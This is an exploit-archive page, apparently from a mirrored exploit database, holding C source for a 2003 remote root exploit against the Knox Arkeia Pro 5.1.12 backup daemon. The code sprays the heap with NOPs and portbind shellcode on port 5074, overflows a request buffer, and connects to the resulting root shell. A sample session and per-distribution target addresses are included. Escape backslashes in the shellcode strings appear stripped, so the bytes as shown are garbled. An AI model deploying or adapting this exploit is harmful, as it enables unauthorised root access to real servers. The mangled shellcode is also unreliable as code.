[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Knox Arkeia Pro 5.1.12 Backup Remote Root Exploit
# Published : 2003-09-20
# Author : n/a
# Previous Title : GNU Cfengine 2.-2.0.3 Remote Stack Overflow Exploit
# Next Title : Solaris Sadmind Default Configuration Remote Root Exploit


/*
 * Knox Arkiea arkiead local/remote root exploit.
 *
 * Portbind 5074 shellcode
 *
 * Tested on Redhat 8.0, Redhat 7.2, but all versions are presumed vulnerable.
 * 
 * NULLs out least significant byte of EBP to pull EIP out of overflow buffer.
 * A previous request forces a large allocation of NOP's + shellcode in heap
 * memory.  Find additional targets by searching the heap for NOP's after a 
 * crash.  safeaddr must point to any area of memory that is read/writable
 * and won't mess with program/shellcode flow. 
 *
 * ./ark_sink host targetnum 
 * [user@host dir]$ ./ark_sink 192.168.1.2 1
 * [*] Connected to 192.168.1.2:617
 * [*] Connected to 192.168.1.2:617
 * [*] Sending nops+shellcode
 * [*] Done, sleeping
 * [*] Sending overflow
 * [*] Done
 * [*] Sleeping and connecting remote shell
 * [*] Connected to 192.168.1.2:5074
 * [*] Success, enjoy
 * id
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
 *
 *
 */


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/nameser.h>


#define BUFLEN		10000		/* for getshell()  		*/
#define LEN 		280		/* overflow packet data section    */
#define HEAD_LEN 	8		               /*  overflow packet header	*/
#define NOP_LEN		10000		/* nop+shellcode packet 	*/
#define ARK_PORT	617
#define SHELL_PORT	5074
#define NOP 		0x90
#define NUMTARGS	2

struct {
	char 		*os;
	unsigned int	targret;
	unsigned int	targsafe;
} targets[] = {
	{ "Redhat 8.0", 0x80ecf90, 0x080eb940 },
	{ "Redhat 7.2", 0x80eddc0, 0x080eb940 },
	NULL
};


/* portbind 5074 */
const char shellcode[] = 
"x89xc3xb0x02xcdx80x38xc3x74x05x8dx43x01xcdx80"
"x31xc0x89x45x10x40x89xc3x89x45x0cx40x89x45x08"
"x8dx4dx08xb0x66xcdx80x89x45x08x43x66x89x5dx14"
"x66xc7x45x16x13xd2x31xd2x89x55x18x8dx55x14"
"x89x55x0cxc6x45x10x10xb0x66xcdx80x40x89x45x0c"
"x43x43xb0x66xcdx80x43x89x45x0cx89x45x10xb0x66"
"xcdx80x89xc3x31xc9xb0x3fxcdx80x41x80xf9x03"
"x75xf6x31xd2x52x68x6ex2fx73x68x68x2fx2fx62x69"
"x89xe3x52x53x89xe1xb0x0bxcdx80";

unsigned int resolve(char *hostname)
{
	u_long 	ip = 0;
	struct hostent	*hoste;

	if ((int)(ip = inet_addr(hostname)) == -1)
	{
		if ((hoste = gethostbyname(hostname)) == NULL)
		{
			herror("[!] gethostbyname");
			exit(-1);
		}
		memcpy(&ip, hoste->h_addr, hoste->h_length);
	}
	return(ip);
}


int isock(char *hostname, int portnum)
{
	struct sockaddr_in	sock_a;
	int			num, sock;
	unsigned int		ip;
	fd_set			input;

	sock_a.sin_family = AF_INET;
	sock_a.sin_port = htons(portnum);
	sock_a.sin_addr.s_addr = resolve(hostname);

	if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
	{
		herror("[!] accept");
		exit(-1);
	}
	
	if (connect(sock, (struct sockaddr *)&sock_a, sizeof(sock_a)))
	{
		herror("[!] connect");
		exit(-1);
	}
	
	fprintf(stderr, "[*] Connected to %s:%dn", hostname, portnum);
	return(sock);
	
}

int getshell(int sock)
{

	char	buf[BUFLEN];
	int	nread=0;

  	while(1) 
	{ 
    		fd_set input; 
    		FD_SET(0,&input); 
    		FD_SET(sock,&input); 
    		select(sock+1,&input,NULL,NULL,NULL); 
    	
		if(FD_ISSET(sock,&input)) 
		{ 
      			nread=read(sock,buf,BUFLEN); 
      			write(1,buf,nread); 
     		} 
     		if(FD_ISSET(0,&input)) 
     			write(sock,buf,read(0,buf,BUFLEN)); 
  	} 
}

int usage(char *progname)
{
	int 	i;

	fprintf(stderr, "Usage:n./%s hostname target_numn");
	for (i = 0; targets[i].os; i++)
		fprintf(stderr, "Target %d: %sn", i+1, targets[i].os);
	exit(-1);
}

int main( int argc, char **argv)
{

	/* first 2 bytes are a type 74 request */
	/* last two bytes length */
	char 		head[] = "x00x4ax00x03x00x01xffxff";
	char 		data[512];
	char		sc_req[20000];
	char		*host;
	unsigned int		tnum;
	unsigned int 	safeaddr;
	unsigned int 	ret;
	int		datalen		= LEN;
	int		port		= ARK_PORT;
	unsigned int	addr		= 0;
	int		sock_overflow, sock_nops, sock_shell;
	int 		i;

	if (argc == 3)
	{
		host = argv[1];
		tnum = atoi(argv[2]);
		if (tnum > NUMTARGS || tnum == 0)
		{
			fprintf(stderr, "[!] Invalid targetn");
			usage(argv[0]);
		}
	}
	else
	{
		usage(argv[0]);
	}
	
	tnum--;
	ret = targets[tnum].targret;
	safeaddr = targets[tnum].targsafe;

	sock_overflow = sock_nops = sock_shell = 0;
	sock_nops = isock(host, port);
	sock_overflow = isock(host, port);

	// build data section of overflow packet
	memset(data, 0x90, datalen);
	for (i = 0; i < datalen; i += 4)
		memcpy(data+i, (char *)&ret, 4);
	// we overwrite a pointer that must be a valid address
	memcpy(data+datalen-12, (char *)&safeaddr, 4); 

	// build header of overflow packet
	datalen = ntohs(datalen);
	memcpy(head+6, (char *)&datalen, 2);

	// build invalid packet with nops+shellcode
	memset(sc_req, 0x90, NOP_LEN+1);
	memcpy(sc_req+NOP_LEN, shellcode, sizeof(shellcode));

	// send invalid nop+shellcode packet
	fprintf(stderr, "[*] Sending nops+shellcoden");
	write(sock_nops, sc_req, NOP_LEN+sizeof(shellcode)); 
	fprintf(stderr, "[*] Done, sleepingn");
	sleep(1);
	close(sock_nops);

	// send overflow
	fprintf(stderr, "[*] Sending overflown");
	write(sock_overflow, head, HEAD_LEN);
	write(sock_overflow, data, LEN);
	fprintf(stderr, "[*] Donen");
	fprintf(stderr, "[*] Sleeping and connecting remote shelln");
	sleep (1);
	close(sock_overflow);

	// connect to shell
	sock_shell = isock(host, SHELL_PORT);
	fprintf(stderr, "[*] Success, enjoyn");
	getshell(sock_shell);

}


// www.Syue.com [2003-09-20]